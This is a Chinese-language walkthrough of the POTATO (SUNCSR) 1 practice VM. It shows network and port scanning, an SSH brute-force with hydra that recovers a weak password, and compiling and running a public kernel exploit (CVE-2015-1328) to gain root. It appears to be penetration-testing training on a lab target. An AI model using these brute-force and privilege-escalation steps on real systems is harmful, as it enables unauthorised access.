环境下载
- 戳此进行环境下载
POTATO (SUNCSR): 1靶机搭建
- 将下载好的靶机导入Vmware,网络连接设置为NAT模式即可
渗透测试
信息搜集
- 用arp-scan探测一下网段内目标靶机的IP:
sudo arp-scan -l
- 得到目标靶机的IP为:
192.168.246.139
![](https://pic.imgdb.cn/item/611e89474907e2d39cea252d.png)
- 使用
nmap
扫描开放的端口:sudo nmap -sC -sV -p 1-65535 192.168.246.139
,发现开放了80、7120
两个端口
![](https://pic.imgdb.cn/item/611e89474907e2d39cea2540.png)
- 使用
dirb
扫描一下开放的80
端口:dirb http://192.168.246.139
![](https://pic.imgdb.cn/item/611e898f4907e2d39ceaefcc.png)
漏洞挖掘
- 访问
dirb
扫描的结果发现并没有什么有用的信息,考虑到7120
端口是ssh
服务,尝试利用hydra
进行ssh
爆破,得到用户名:potato 密码:letmein
hydra -l potato -P top500.txt -V ssh://192.168.246.139:7120
![](https://pic.imgdb.cn/item/611e8b2a4907e2d39cef33f3.png)
getshell
- 利用得到
ssh
用户名和密码,登录ssh
服务
![](https://pic.imgdb.cn/item/611e8bad4907e2d39cf0a209.png)
提权
- 查看 Linux 内核信息,搜索后发现存在 exp
![](https://pic.imgdb.cn/item/611e8ce84907e2d39cf3d103.png)
- 编译 exp 后将其上传到靶机中
gcc 37292.c -o CVE-2015-1328
![](https://pic.imgdb.cn/item/611e8e9b4907e2d39cf80357.png)
![](https://pic.imgdb.cn/item/611e8e9b4907e2d39cf80367.png)
- 运行 exp,成功拿到 root 权限
![](https://pic.imgdb.cn/item/611e8f1e4907e2d39cf93e93.png)